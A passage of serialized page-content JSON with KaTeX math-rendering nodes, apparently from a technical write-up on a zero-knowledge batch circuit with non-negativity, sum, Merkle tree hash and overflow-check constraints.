495,"children":70496},{},[],{"type":26,"tag":217,"props":70498,"children":70500},{"className":70499},[288],[70501],{"type":32,"value":7127},{"type":26,"tag":217,"props":70503,"children":70505},{"className":70504},[247,2152],[70506],{"type":32,"value":163},{"type":26,"tag":217,"props":70508,"children":70510},{"className":70509},[247,2152],[70511],{"type":32,"value":69777},{"type":26,"tag":217,"props":70513,"children":70515},{"className":70514},[247,2152],[70516],{"type":32,"value":2935},{"type":26,"tag":217,"props":70518,"children":70520},{"className":70519,"style":2753},[247],[70521],{"type":32,"value":49012},{"type":26,"tag":217,"props":70523,"children":70525},{"className":70524},[247,2152],[70526],{"type":32,"value":2197},{"type":26,"tag":217,"props":70528,"children":70530},{"className":70529},[247,2152],[70531],{"type":32,"value":70037},{"type":26,"tag":217,"props":70533,"children":70535},{"className":70534},[247,2152],[70536],{"type":32,"value":70537},"m",{"type":26,"tag":217,"props":70539,"children":70541},{"className":70540},[428],[70542],{"type":32,"value":21845},{"type":26,"tag":217,"props":70544,"children":70546},{"className":70545,"style":336},[258],[],{"type":26,"tag":217,"props":70548,"children":70550},{"className":70549},[341],[70551],{"type":32,"value":70552},"∗",{"type":26,"tag":217,"props":70554,"children":70556},{"className":70555,"style":336},[258],[],{"type":26,"tag":217,"props":70558,"children":70560},{"className":70559},[236],[70561,70565,70570,70575,70580,70585,70590,70595,70600,70606,70611,70616,70621,70626,70631,70636,70641,70646],{"type":26,"tag":217,"props":70562,"children":70564},{"className":70563,"style":49604},[241],[],{"type":26,"tag":217,"props":70566,"children":70568},{"className":70567},[247,2152],[70569],{"type":32,"value":163},{"type":26,"tag":217,"props":70571,"children":70573},{"className":70572},[247,2152],[70574],{"type":32,"value":69777},{"type":26,"tag":217,"props":70576,"children":70578},{"className":70577},[247,2152],[70579],{"type":32,"value":2935},{"type":26,"tag":217,"props":70581,"children":70583},{"className":70582,"style":2753},[247],[70584],{"type":32,"value":49012},{"type":26,"tag":217,"props":70586,"children":70588},{"className":70587},[247,2152],[70589],{"type":32,"value":39},{"type":26,"tag":217,"props":70591,"children":70593},{"className":70592,"style":2753},[247,2152],[70594],{"type":32,"value":19414},{"type":26,"tag":217,"props":70596,"children":70598},{"className":70597},[247,2152],[70599],{"type":32,"value":2290},{"type":26,"tag":217,"props":70601,"children":70603},{"className":70602},[247,2152],[70604],{"type":32,"value":70605},"ces",{"type":26,"tag":217,"props":70607,"children":70609},{"className":70608},[288],[70610],{"type":32,"value":7127},{"type":26,"tag":217,"props":70612,"children":70614},{"className":70613},[247,2152],[70615],{"type":32,"value":163},{"type":26,"tag":217,"props":70617,"children":70619},{"className":70618},[247,2152],[70620],{"type":32,"value":69777},{"type":26,"tag":217,"props":70622,"children":70624},{"className":70623},[247,2152],[70625],{"type":32,"value":2935},{"type":26,"tag":217,"props":70627,"children":70629},{"className":70628,"style":2753},[247],[70630],{"type":32,"value":49012},{"type":26,"tag":217,"props":70632,"children":70634},{"className":70633},[247,2152],[70635],{"type":32,"value":2197},{"type":26,"tag":217,"props":70637,"children":70639},{"className":70638},[247,2152],[70640],{"type":32,"value":70037},{"type":26,"tag":217,"props":70642,"children":70644},{"className":70643},[247,2152],[70645],{"type":32,"value":70537},{"type":26,"tag":217,"props":70647,"children":70649},{"className":70648},[428],[70650],{"type":32,"value":21845},{"type":26,"tag":2044,"props":70652,"children":70653},{},[70654,70813,70814],{"type":26,"tag":83,"props":70655,"children":70657},{"className":70656},[213,4703],[70658],{"type":26,"tag":217,"props":70659,"children":70661},{"className":70660},[225],[70662],{"type":26,"tag":217,"props":70663,"children":70665},{"className":70664,"ariaHidden":231},[230],[70666,70800],{"type":26,"tag":217,"props":70667,"children":70669},{"className":70668},[236],[70670,70674,70679,70684,70689,70694,70699,70704,70709,70714,70719,70724,70729,70786,70790,70796],{"type":26,"tag":217,"props":70671,"children":70673},{"className":70672,"style":70223},[241],[],{"type":26,"tag":217,"props":70675,"children":70677},{"className":70676},[247,2152],[70678],{"type":32,"value":163},{"type":26,"tag":217,"props":70680,"children":70682},{"className":70681},[247,2152],[70683],{"type":32,"value":70235},{"type":26,"tag":217,"props":70685,"children":70687},{"className":70686},[247,2152],[70688],{"type":32,"value":70037},{"type":26,"tag":217,"props":70690,"children":70692},{"className":70691},[247,2152],[70693],{"type":32,"value":2197},{"type":26,"tag":217,"props":70695,"children":70697},{"className":70696},[247,2152],[70698],{"type":32,"value":2935},{"type":26,"tag":217,"props":70700,"children":70702},{"className":70701,"style":2753},[247],[70703],{"type":32,"value":49012},{"type":26,"tag":217,"props":70705,"children":70707},{"className":70706},[247,2152],[70708],{"type":32,"value":2400},{"type":26,"tag":217,"props":70710,"children":70712},{"className":70711,"style":2326},[247,2152],[70713],{"type":32,"value":19587},{"type":26,"tag":217,"props":70715,"children":70717},{"className":70716},[247,2152],[70718],{"type":32,"value":70037},{"type":26,"tag":217,"props":70720,"children":70722},{"className":70721},[247,2152],[70723],{"type":32,"value":2290},{"type":26,"tag":217,"props":70725,"children":70727},{"className":70726},[247,2152],[70728],{"type":32,"value":2935},{"type":26,"tag":217,"props":70730,"children":70732},{"className":70731},[247],[70733,70738],{"type":26,"tag":217,"props":70734,"children":70736},{"className":70735,"style":2326},[247,2152],[70737],{"type":32,"value":19017},{"type":26,"tag":217,"props":70739,"children":70741},{"className":70740},[2160],[70742],{"type":26,"tag":217,"props":70743,"children":70745},{"className":70744},[299,300],[70746,70775],{"type":26,"tag":217,"props":70747,"children":70749},{"className":70748},[305],[70750,70770],{"type":26,"tag":217,"props":70751,"children":70753},{"className":70752,"style":2271},[310],[70754],{"type":26,"tag":217,"props":70755,"children":70756},{"style":2348},[70757,70761],{"type":26,"tag":217,"props":70758,"children":70760},{"className":70759,"style":2182},[320],[],{"type":26,"tag":217,"props":70762,"children":70764},{"className":70763},[2187,2188,2189,2190],[70765],{"type":26,"tag":217,"props":70766,"children":70768},{"className":70767},[247,2152,2190],[70769],{"type":32,"value":2290},{"type":26,"tag":217,"props":70771,"children":70773},{"className":70772},[409],[70774],{"type":32,"value":412},{"type":26,"tag":217,"props":70776,"children":70778},{"className":70777},[305],[70779],{"type":26,"tag":217,"props":70780,"children":70782},{"className":70781,"style":2210},[310],[70783],{"type":26,"tag":217,"props":70784,"children":70785},{},[],{"type":26,"tag":217,"props":70787,"children":70789},{"className":70788,"style":259},[258],[],{"type":26,"tag":217,"props":70791,"children":70793},{"className":70792},[264],[70794],{"type":32,"value":70795},">=",{"type":26,"tag":217,"props":70797,"children":70799},{"className":70798,"style":259},[258],[],{"type":26,"tag":217,"props":70801,"children":70803},{"className":70802},[236],[70804,70808],{"type":26,"tag":217,"props":70805,"children":70807},{"className":70806,"style":5294},[241],[],{"type":26,"tag":217,"props":70809,"children":70811},{"className":70810},[247],[70812],{"type":32,"value":1883},{"type":32,"value":19795},{"type":26,"tag":9348,"props":70815,"children":70816},{},[70817],{"type":32,"value":70818},"(non-negativity)",{"type":26,"tag":2044,"props":70820,"children":70821},{},[70822,71160,71161],{"type":26,"tag":83,"props":70823,"children":70825},{"className":70824},[213,4703],[70826],{"type":26,"tag":217,"props":70827,"children":70829},{"className":70828},[225],[70830],{"type":26,"tag":217,"props":70831,"children":70833},{"className":70832,"ariaHidden":231},[230],[70834,70970],{"type":26,"tag":217,"props":70835,"children":70837},{"className":70836},[236],[70838,70842,70847,70852,70857,70862,70867,70872,70877,70882,70887,70892,70897,70902,70907,70912,70917,70922,70927,70932,70937,70942,70947,70952,70957,70961,70966],{"type":26,"tag":217,"props":70839,"children":70841},{"className":70840,"style":49604},[241],[],{"type":26,"tag":217,"props":70843,"children":70845},{"className":70844},[247,2152],[70846],{"type":32,"value":2935},{"type":26,"tag":217,"props":70848,"children":70850},{"className":70849},[247,2152],[70851],{"type":32,"value":19494},{"type":26,"tag":217,"props":70853,"children":70855},{"className":70854},[247,2152],[70856],{"type":32,"value":2935},{"type":26,"tag":217,"props":70858,"children":70860},{"className":70859},[247,2152],[70861],{"type":32,"value":163},{"type":26,"tag":217,"props":70863,"children":70865},{"className":70864,"style":19330},[247,2152],[70866],{"type":32,"value":19333},{"type":26,"tag":217,"props":70868,"children":70870},{"className":70869,"style":2753},[247],[70871],{"type":32,"value":49012},{"type":26,"tag":217,"props":70873,"children":70875},{"className":70874},[247,2152],[70876],{"type":32,"value":163},{"type":26,"tag":217,"props":70878,"children":70880},{"className":70879},[247,2152],[70881],{"type":32,"value":69777},{"type":26,"tag":217,"props":70883,"children":70885},{"className":70884},[247,2152],[70886],{"type":32,"value":2935},{"type":26,"tag":217,"props":70888,"children":70890},{"className":70889,"style":2753},[247],[70891],{"type":32,"value":49012},{"type":26,"tag":217,"props":70893,"children":70895},{"className":70894},[247,2152],[70896],{"type":32,"value":69793},{"type":26,"tag":217,"props":70898,"children":70900},{"className":70899,"style":19330},[247,2152],[70901],{"type":32,"value":19333},{"type":26,"tag":217,"props":70903,"children":70905},{"className":70904},[247,2152],[70906],{"type":32,"value":69804},{"type":26,"tag":217,"props":70908,"children":70910},{"className":70909},[247,2152],[70911],{"type":32,"value":69810},{"type":26,"tag":217,"props":70913,"children":70915},{"className":70914},[288],[70916],{"type":32,"value":7127},{"type":26,"tag":217,"props":70918,"children":70920},{"className":70919},[247,2152],[70921],{"type":32,"value":163},{"type":26,"tag":217,"props":70923,"children":70925},{"className":70924},[247,2152],[70926],{"type":32,"value":69777},{"type":26,"tag":217,"props":70928,"children":70930},{"className":70929},[247,2152],[70931],{"type":32,"value":2935},{"type":26,"tag":217,"props":70933,"children":70935},{"className":70934,"style":2753},[247],[70936],{"type":32,"value":49012},{"type":26,"tag":217,"props":70938,"children":70940},{"className":70939},[247,2152],[70941],{"type":32,"value":2197},{"type":26,"tag":217,"props":70943,"children":70945},{"className":70944},[247,2152],[70946],{"type":32,"value":70037},{"type":26,"tag":217,"props":70948,"children":70950},{"className":70949},[247,2152],[70951],{"type":32,"value":70537},{"type":26,"tag":217,"props":70953,"children":70955},{"className":70954},[428],[70956],{"type":32,"value":21845},{"type":26,"tag":217,"props":70958,"children":70960},{"className":70959,"style":259},[258],[],{"type":26,"tag":217,"props":70962,"children":70964},{"className":70963},[264],[70965],{"type":32,"value":9106},{"type":26,"tag":217,"props":70967,"children":70969},{"className":70968,"style":259},[258],[],{"type":26,"tag":217,"props":70971,"children":70973},{"className":70972},[236],[70974,70978,70983,70988,70993,70998,71003,71008,71013,71018,71023,71028,71033,71038,71043,71048,71053,71058,71115,71120,71125,71130,71135,71140,71145,71150,71155],{"type":26,"tag":217,"props":70975,"children":70977},{"className":70976,"style":49604},[241],[],{"type":26,"tag":217,"props":70979,"children":70981},{"className":70980},[247],[70982],{"type":32,"value":70364},{"type":26,"tag":217,"props":70984,"children":70986},{"className":70985},[258],[70987],{"type":32,"value":69873},{"type":26,"tag":217,"props":70989,"children":70991},{"className":70990},[247,2152],[70992],{"type":32,"value":163},{"type":26,"tag":217,"props":70994,"children":70996},{"className":70995},[247,2152],[70997],{"type":32,"value":70235},{"type":26,"tag":217,"props":70999,"children":71001},{"className":71000},[247,2152],[71002],{"type":32,"value":70037},{"type":26,"tag":217,"props":71004,"children":71006},{"className":71005},[247,2152],[71007],{"type":32,"value":2197},{"type":26,"tag":217,"props":71009,"children":71011},{"className":71010},[247,2152],[71012],{"type":32,"value":2935},{"type":26,"tag":217,"props":71014,"children":71016},{"className":71015,"style":2753},[247],[71017],{"type":32,"value":49012},{"type":26,"tag":217,"props":71019,"children":71021},{"className":71020},[247,2152],[71022],{"type":32,"value":163},{"type":26,"tag":217,"props":71024,"children":71026},{"className":71025},[247,2152],[71027],{"type":32,"value":69777},{"type":26,"tag":217,"props":71029,"children":71031},{"className":71030},[247,2152],[71032],{"type":32,"value":2935},{"type":26,"tag":217,"props":71034,"children":71036},{"className":71035,"style":2753},[247],[71037],{"type":32,"value":49012},{"type":26,"tag":217,"props":71039,"children":71041},{"className":71040},[247,2152],[71042],{"type":32,"value":69793},{"type":26,"tag":217,"props":71044,"children":71046},{"className":71045,"style":19330},[247,2152],[71047],{"type":32,"value":19333},{"type":26,"tag":217,"props":71049,"children":71051},{"className":71050},[247,2152],[71052],{"type":32,"value":69804},{"type":26,"tag":217,"props":71054,"children":71056},{"className":71055},[247,2152],[71057],{"type":32,"value":69810},{"type":26,"tag":217,"props":71059,"children":71061},{"className":71060},[247],[71062,71067],{"type":26,"tag":217,"props":71063,"children":71065},{"className":71064},[247,2152],[71066],{"type":32,"value":3246},{"type":26,"tag":217,"props":71068,"children":71070},{"className":71069},[2160],[71071],{"type":26,"tag":217,"props":71072,"children":71074},{"className":71073},[299,300],[71075,71104],{"type":26,"tag":217,"props":71076,"children":71078},{"className":71077},[305],[71079,71099],{"type":26,"tag":217,"props":71080,"children":71082},{"className":71081,"style":2271},[310],[71083],{"type":26,"tag":217,"props":71084,"children":71085},{"style":2275},[71086,71090],{"type":26,"tag":217,"props":71087,"children":71089},{"className":71088,"style":2182},[320],[],{"type":26,"tag":217,"props":71091,"children":71093},{"className":71092},[2187,2188,2189,2190],[71094],{"type":26,"tag":217,"props":71095,"children":71097},{"className":71096},[247,2152,2190],[71098],{"type":32,"value":2290},{"type":26,"tag":217,"props":71100,"children":71102},{"className":71101},[409],[71103],{"type":32,"value":412},{"type":26,"tag":217,"props":71105,"children":71107},{"className":71106},[305],[71108],{"type":26,"tag":217,"props":71109,"children":71111},{"className":71110,"style":2210},[310],[71112],{"type":26,"tag":217,"props":71113,"children":71114},{},[],{"type":26,"tag":217,"props":71116,"children":71118},{"className":71117},[288],[71119],{"type":32,"value":7127},{"type":26,"tag":217,"props":71121,"children":71123},{"className":71122},[247,2152],[71124],{"type":32,"value":163},{"type":26,"tag":217,"props":71126,"children":71128},{"className":71127},[247,2152],[71129],{"type":32,"value":69777},{"type":26,"tag":217,"props":71131,"children":71133},{"className":71132},[247,2152],[71134],{"type":32,"value":2935},{"type":26,"tag":217,"props":71136,"children":71138},{"className":71137,"style":2753},[247],[71139],{"type":32,"value":49012},{"type":26,"tag":217,"props":71141,"children":71143},{"className":71142},[247,2152],[71144],{"type":32,"value":2197},{"type":26,"tag":217,"props":71146,"children":71148},{"className":71147},[247,2152],[71149],{"type":32,"value":70037},{"type":26,"tag":217,"props":71151,"children":71153},{"className":71152},[247,2152],[71154],{"type":32,"value":70537},{"type":26,"tag":217,"props":71156,"children":71158},{"className":71157},[428],[71159],{"type":32,"value":21845},{"type":32,"value":19795},{"type":26,"tag":9348,"props":71162,"children":71163},{},[71164],{"type":32,"value":71165},"(sum proof)",{"type":26,"tag":2044,"props":71167,"children":71168},{},[71169,71556,71557],{"type":26,"tag":83,"props":71170,"children":71172},{"className":71171},[213,4703],[71173],{"type":26,"tag":217,"props":71174,"children":71176},{"className":71175},[225],[71177],{"type":26,"tag":217,"props":71178,"children":71180},{"className":71179,"ariaHidden":231},[230],[71181,71265],{"type":26,"tag":217,"props":71182,"children":71184},{"className":71183},[236],[71185,71189,71194,71200,71205,71210,71215,71220,71225,71231,71236,71242,71247,71252,71256,71261],{"type":26,"tag":217,"props":71186,"children":71188},{"className":71187,"style":242},[241],[],{"type":26,"tag":217,"props":71190,"children":71192},{"className":71191},[247,2152],[71193],{"type":32,"value":70537},{"type":26,"tag":217,"props":71195,"children":71197},{"className":71196,"style":2753},[247,2152],[71198],{"type":32,"value":71199},"er",{"type":26,"tag":217,"props":71201,"children":71203},{"className":71202,"style":49390},[247,2152],[71204],{"type":32,"value":49393},{"type":26,"tag":217,"props":71206,"children":71208},{"className":71207,"style":19330},[247,2152],[71209],{"type":32,"value":19333},{"type":26,"tag":217,"props":71211,"children":71213},{"className":71212},[247,2152],[71214],{"type":32,"value":2400},{"type":26,"tag":217,"props":71216,"children":71218},{"className":71217,"style":2753},[247],[71219],{"type":32,"value":49012},{"type":26,"tag":217,"props":71221,"children":71223},{"className":71222},[247,2152],[71224],{"type":32,"value":2935},{"type":26,"tag":217,"props":71226,"children":71228},{"className":71227},[247,2152],[71229],{"type":32,"value":71230},"ree",{"type":26,"tag":217,"props":71232,"children":71234},{"className":71233,"style":2753},[247],[71235],{"type":32,"value":49012},{"type":26,"tag":217,"props":71237,"children":71239},{"className":71238},[247,2152],[71240],{"type":32,"value":71241},"ha",{"type":26,"tag":217,"props":71243,"children":71245},{"className":71244},[247,2152],[71246],{"type":32,"value":3246},{"type":26,"tag":217,"props":71248,"children":71250},{"className":71249},[247,2152],[71251],{"type":32,"value":2612},{"type":26,"tag":217,"props":71253,"children":71255},{"className":71254,"style":259},[258],[],{"type":26,"tag":217,"props":71257,"children":71259},{"className":71258},[264],[71260],{"type":32,"value":9106},{"type":26,"tag":217,"props":71262,"children":71264},{"className":71263,"style":259},[258],[],{"type":26,"tag":217,"props":71266,"children":71268},{"className":71267},[236],[71269,71273,71278,71283,71288,71293,71298,71303,71308,71313,71318,71375,71380,71384,71389,71394,71451,71456,71461,71465,71470,71475,71479,71484,71489,71551],{"type":26,"tag":217,"props":71270,"children":71272},{"className":71271,"style":5514},[241],[],{"type":26,"tag":217,"props":71274,"children":71276},{"className":71275,"style":2153},[247,2152],[71277],{"type":32,"value":2156},{"type":26,"tag":217,"props":71279,"children":71281},{"className":71280},[247,2152],[71282],{"type":32,"value":69741},{"type":26,"tag":217,"props":71284,"children":71286},{"className":71285},[247,2152],[71287],{"type":32,"value":2290},{"type":26,"tag":217,"props":71289,"children":71291},{"className":71290},[247,2152],[71292],{"type":32,"value":22057},{"type":26,"tag":217,"props":71294,"children":71296},{"className":71295},[247,2152],[71297],{"type":32,"value":19494},{"type":26,"tag":217,"props":71299,"children":71301},{"className":71300},[247,2152],[71302],{"type":32,"value":2197},{"type":26,"tag":217,"props":71304,"children":71306},{"className":71305},[288],[71307],{"type":32,"value":1851},{"type":26,"tag":217,"props":71309,"children":71311},{"className":71310},[247,2152],[71312],{"type":32,"value":71241},{"type":26,"tag":217,"props":71314,"children":71316},{"className":71315},[247,2152],[71317],{"type":32,"value":3246},{"type":26,"tag":217,"props":71319,"children":71321},{"className":71320},[247],[71322,71327],{"type":26,"tag":217,"props":71323,"children":71325},{"className":71324},[247,2152],[71326],{"type":32,"value":2612},{"type":26,"tag":217,"props":71328,"children":71330},{"className":71329},[2160],[71331],{"type":26,"tag":217,"props":71332,"children":71334},{"className":71333},[299,300],[71335,71364],{"type":26,"tag":217,"props":71336,"children":71338},{"className":71337},[305],[71339,71359],{"type":26,"tag":217,"props":71340,"children":71342},{"className":71341,"style":19226},[310],[71343],{"type":26,"tag":217,"props":71344,"children":71345},{"style":2275},[71346,71350],{"type":26,"tag":217,"props":71347,"children":71349},{"className":71348,"style":2182},[320],[],{"type":26,"tag":217,"props":71351,"children":71353},{"className":71352},[2187,2188,2189,2190],[71354],{"type":26,"tag":217,"props":71355,"children":71357},{"className":71356},[247,2190],[71358],{"type":32,"value":1883},{"type":26,"tag":217,"props":71360,"children":71362},{"className":71361},[409],[71363],{"type":32,"value":412},{"type":26,"tag":217,"props":71365,"children":71367},{"className":71366},[305],[71368],{"type":26,"tag":217,"props":71369,"children":71371},{"className":71370,"style":2210},[310],[71372],{"type":26,"tag":217,"props":71373,"children":71374},{},[],{"type":26,"tag":217,"props":71376,"children":71378},{"className":71377},[1865],[71379],{"type":32,"value":1868},{"type":26,"tag":217,"props":71381,"children":71383},{"className":71382,"style":1872},[258],[],{"type":26,"tag":217,"props":71385,"children":71387},{"className":71386},[247,2152],[71388],{"type":32,"value":71241},{"type":26,"tag":217,"props":71390,"children":71392},{"className":71391},[247,2152],[71393],{"type":32,"value":3246},{"type":26,"tag":217,"props":71395,"children":71397},{"className":71396},[247],[71398,71403],{"type":26,"tag":217,"props":71399,"children":71401},{"className":71400},[247,2152],[71402],{"type":32,"value":2612},{"type":26,"tag":217,"props":71404,"children":71406},{"className":71405},[2160],[71407],{"type":26,"tag":217,"props":71408,"children":71410},{"className":71409},[299,300],[71411,71440],{"type":26,"tag":217,"props":71412,"children":71414},{"className":71413},[305],[71415,71435],{"type":26,"tag":217,"props":71416,"children":71418},{"className":71417,"style":19226},[310],[71419],{"type":26,"tag":217,"props":71420,"children":71421},{"style":2275},[71422,71426],{"type":26,"tag":217,"props":71423,"children":71425},{"className":71424,"style":2182},[320],[],{"type":26,"tag":217,"props":71427,"children":71429},{"className":71428},[2187,2188,2189,2190],[71430],{"type":26,"tag":217,"props":71431,"children":71433},{"className":71432},[247,2190],[71434],{"type":32,"value":185},{"type":26,"tag":217,"props":71436,"children":71438},{"className":71437},[409],[71439],{"type":32,"value":412},{"type":26,"tag":217,"props":71441,"children":71443},{"className":71442},[305],[71444],{"type":26,"tag":217,"props":71445,"children":71447},{"className":71446,"style":2210},[310],[71448],{"type":26,"tag":217,"props":71449,"children":71450},{},[],{"type":26,"tag":217,"props":71452,"children":71454},{"className":71453},[1865],[71455],{"type":32,"value":1868},{"type":26,"tag":217,"props":71457,"children":71459},{"className":71458},[258],[71460],{"type":32,"value":69873},{"type":26,"tag":217,"props":71462,"children":71464},{"className":71463,"style":1872},[258],[],{"type":26,"tag":217,"props":71466,"children":71468},{"className":71467},[247],[71469],{"type":32,"value":13251},{"type":26,"tag":217,"props":71471,"children":71473},{"className":71472},[1865],[71474],{"type":32,"value":1868},{"type":26,"tag":217,"props":71476,"children":71478},{"className":71477,"style":1872},[258],[],{"type":26,"tag":217,"props":71480,"children":71482},{"className":71481},[247,2152],[71483],{"type":32,"value":71241},{"type":26,"tag":217,"props":71485,"children":71487},{"className":71486},[247,2152],[71488],{"type":32,"value":3246},{"type":26,"tag":217,"props":71490,"children":71492},{"className":71491},[247],[71493,71498],{"type":26,"tag":217,"props":71494,"children":71496},{"className":71495},[247,2152],[71497],{"type":32,"value":2612},{"type":26,"tag":217,"props":71499,"children":71501},{"className":71500},[2160],[71502],{"type":26,"tag":217,"props":71503,"children":71505},{"className":71504},[299,300],[71506,71540],{"type":26,"tag":217,"props":71507,"children":71509},{"className":71508},[305],[71510,71535],{"type":26,"tag":217,"props":71511,"children":71513},{"className":71512,"style":19226},[310],[71514],{"type":26,"tag":217,"props":71515,"children":71516},{"style":2275},[71517,71521],{"type":26,"tag":217,"props":71518,"children":71520},{"className":71519,"style":2182},[320],[],{"type":26,"tag":217,"props":71522,"children":71524},{"className":71523},[2187,2188,2189,2190],[71525],{"type":26,"tag":217,"props":71526,"children":71528},{"className":71527},[247,2190],[71529],{"type":26,"tag":217,"props":71530,"children":71532},{"className":71531},[247,2190],[71533],{"type":32,"value":71534},"511",{"type":26,"tag":217,"props":71536,"children":71538},{"className":71537},[409],[71539],{"type":32,"value":412},{"type":26,"tag":217,"props":71541,"children":71543},{"className":71542},[305],[71544],{"type":26,"tag":217,"props":71545,"children":71547},{"className":71546,"style":2210},[310],[71548],{"type":26,"tag":217,"props":71549,"children":71550},{},[],{"type":26,"tag":217,"props":71552,"children":71554},{"className":71553},[428],[71555],{"type":32,"value":1889},{"type":32,"value":19795},{"type":26,"tag":9348,"props":71558,"children":71559},{},[71560],{"type":32,"value":71561},"(merkle tree hash)",{"type":26,"tag":2044,"props":71563,"children":71564},{},[71565,71836,71837,71842,71844,71849],{"type":26,"tag":83,"props":71566,"children":71568},{"className":71567},[213,4703],[71569],{"type":26,"tag":217,"props":71570,"children":71572},{"className":71571},[225],[71573],{"type":26,"tag":217,"props":71574,"children":71576},{"className":71575,"ariaHidden":231},[230],[71577,71770],{"type":26,"tag":217,"props":71578,"children":71580},{"className":71579},[236],[71581,71585,71590,71595,71600,71605,71610,71615,71620,71625,71630,71635,71640,71645,71650,71655,71712,71717,71722,71727,71732,71737,71742,71747,71752,71757,71761,71766],{"type":26,"tag":217,"props":71582,"children":71584},{"className":71583,"style":49604},[241],[],{"type":26,"tag":217,"props":71586,"children":71588},{"className":71587},[247,2152],[71589],{"type":32,"value":163},{"type":26,"tag":217,"props":71591,"children":71593},{"className":71592},[247,2152],[71594],{"type":32,"value":70235},{"type":26,"tag":217,"props":71596,"children":71598},{"className":71597},[247,2152],[71599],{"type":32,"value":70037},{"type":26,"tag":217,"props":71601,"children":71603},{"className":71602},[247,2152],[71604],{"type":32,"value":2197},{"type":26,"tag":217,"props":71606,"children":71608},{"className":71607},[247,2152],[71609],{"type":32,"value":2935},{"type":26,"tag":217,"props":71611,"children":71613},{"className":71612,"style":2753},[247],[71614],{"type":32,"value":49012},{"type":26,"tag":217,"props":71616,"children":71618},{"className":71617},[247,2152],[71619],{"type":32,"value":163},{"type":26,"tag":217,"props":71621,"children":71623},{"className":71622},[247,2152],[71624],{"type":32,"value":69777},{"type":26,"tag":217,"props":71626,"children":71628},{"className":71627},[247,2152],[71629],{"type":32,"value":2935},{"type":26,"tag":217,"props":71631,"children":71633},{"className":71632,"style":2753},[247],[71634],{"type":32,"value":49012},{"type":26,"tag":217,"props":71636,"children":71638},{"className":71637},[247,2152],[71639],{"type":32,"value":69793},{"type":26,"tag":217,"props":71641,"children":71643},{"className":71642,"style":19330},[247,2152],[71644],{"type":32,"value":19333},{"type":26,"tag":217,"props":71646,"children":71648},{"className":71647},[247,2152],[71649],{"type":32,"value":69804},{"type":26,"tag":217,"props":71651,"children":71653},{"className":71652},[247,2152],[71654],{"type":32,"value":69810},{"type":26,"tag":217,"props":71656,"children":71658},{"className":71657},[247],[71659,71664],{"type":26,"tag":217,"props":71660,"children":71662},{"className":71661},[247,2152],[71663],{"type":32,"value":3246},{"type":26,"tag":217,"props":71665,"children":71667},{"className":71666},[2160],[71668],{"type":26,"tag":217,"props":71669,"children":71671},{"className":71670},[299,300],[71672,71701],{"type":26,"tag":217,"props":71673,"children":71675},{"className":71674},[305],[71676,71696],{"type":26,"tag":217,"props":71677,"children":71679},{"className":71678,"style":2271},[310],[71680],{"type":26,"tag":217,"props":71681,"children":71682},{"style":2275},[71683,71687],{"type":26,"tag":217,"props":71684,"children":71686},{"className":71685,"style":2182},[320],[],{"type":26,"tag":217,"props":71688,"children":71690},{"className":71689},[2187,2188,2189,2190],[71691],{"type":26,"tag":217,"props":71692,"children":71694},{"className":71693},[247,2152,2190],[71695],{"type":32,"value":2290},{"type":26,"tag":217,"props":71697,"children":71699},{"className":71698},[409],[71700],{"type":32,"value":412},{"type":26,"tag":217,"props":71702,"children":71704},{"className":71703},[305],[71705],{"type":26,"tag":217,"props":71706,"children":71708},{"className":71707,"style":2210},[310],[71709],{"type":26,"tag":217,"props":71710,"children":71711},{},[],{"type":26,"tag":217,"props":71713,"children":71715},{"className":71714},[288],[71716],{"type":32,"value":7127},{"type":26,"tag":217,"props":71718,"children":71720},{"className":71719},[247,2152],[71721],{"type":32,"value":163},{"type":26,"tag":217,"props":71723,"children":71725},{"className":71724},[247,2152],[71726],{"type":32,"value":69777},{"type":26,"tag":217,"props":71728,"children":71730},{"className":71729},[247,2152],[71731],{"type":32,"value":2935},{"type":26,"tag":217,"props":71733,"children":71735},{"className":71734,"style":2753},[247],[71736],{"type":32,"value":49012},{"type":26,"tag":217,"props":71738,"children":71740},{"className":71739},[247,2152],[71741],{"type":32,"value":2197},{"type":26,"tag":217,"props":71743,"children":71745},{"className":71744},[247,2152],[71746],{"type":32,"value":70037},{"type":26,"tag":217,"props":71748,"children":71750},{"className":71749},[247,2152],[71751],{"type":32,"value":70537},{"type":26,"tag":217,"props":71753,"children":71755},{"className":71754},[428],[71756],{"type":32,"value":21845},{"type":26,"tag":217,"props":71758,"children":71760},{"className":71759,"style":259},[258],[],{"type":26,"tag":217,"props":71762,"children":71764},{"className":71763},[264],[71765],{"type":32,"value":7289},{"type":26,"tag":217,"props":71767,"children":71769},{"className":71768,"style":259},[258],[],{"type":26,"tag":217,"props":71771,"children":71773},{"className":71772},[236],[71774,71778,71783,71788,71793,71798,71803,71808,71814,71819,71824,71830],{"type":26,"tag":217,"props":71775,"children":71777},{"className":71776,"style":49604},[241],[],{"type":26,"tag":217,"props":71779,"children":71781},{"className":71780,"style":2825},[247,2152],[71782],{"type":32,"value":19620},{"type":26,"tag":217,"props":71784,"children":71786},{"className":71785},[247,2152],[71787],{"type":32,"value":48300},{"type":26,"tag":217,"props":71789,"children":71791},{"className":71790,"style":2230},[247,2152],[71792],{"type":32,"value":43083},{"type":26,"tag":217,"props":71794,"children":71796},{"className":71795,"style":2753},[247],[71797],{"type":32,"value":49012},{"type":26,"tag":217,"props":71799,"children":71801},{"className":71800,"style":5270},[247,2152],[71802],{"type":32,"value":5273},{"type":26,"tag":217,"props":71804,"children":71806},{"className":71805},[247,2152],[71807],{"type":32,"value":48300},{"type":26,"tag":217,"props":71809,"children":71811},{"className":71810,"style":5270},[247,2152],[71812],{"type":32,"value":71813},"FE",{"type":26,"tag":217,"props":71815,"children":71817},{"className":71816,"style":2753},[247],[71818],{"type":32,"value":49012},{"type":26,"tag":217,"props":71820,"children":71822},{"className":71821,"style":2230},[247,2152],[71823],{"type":32,"value":2233},{"type":26,"tag":217,"props":71825,"children":71827},{"className":71826,"style":2153},[247,2152],[71828],{"type":32,"value":71829},"NT",{"type":26,"tag":217,"props":71831,"children":71833},{"className":71832},[247],[71834],{"type":32,"value":71835},"/512",{"type":32,"value":19795},{"type":26,"tag":9348,"props":71838,"children":71839},{},[71840],{"type":32,"value":71841},"(overflow check)",{"type":32,"value":71843}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":26,"tag":83,"props":71845,"children":71847},{"className":71846},[],[71848],{"type":32,"value":69647},{"type":32,"value":1889},{"type":26,"tag":39,"props":71851,"children":71852},{},[71853],{"type":32,"value":71854},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are 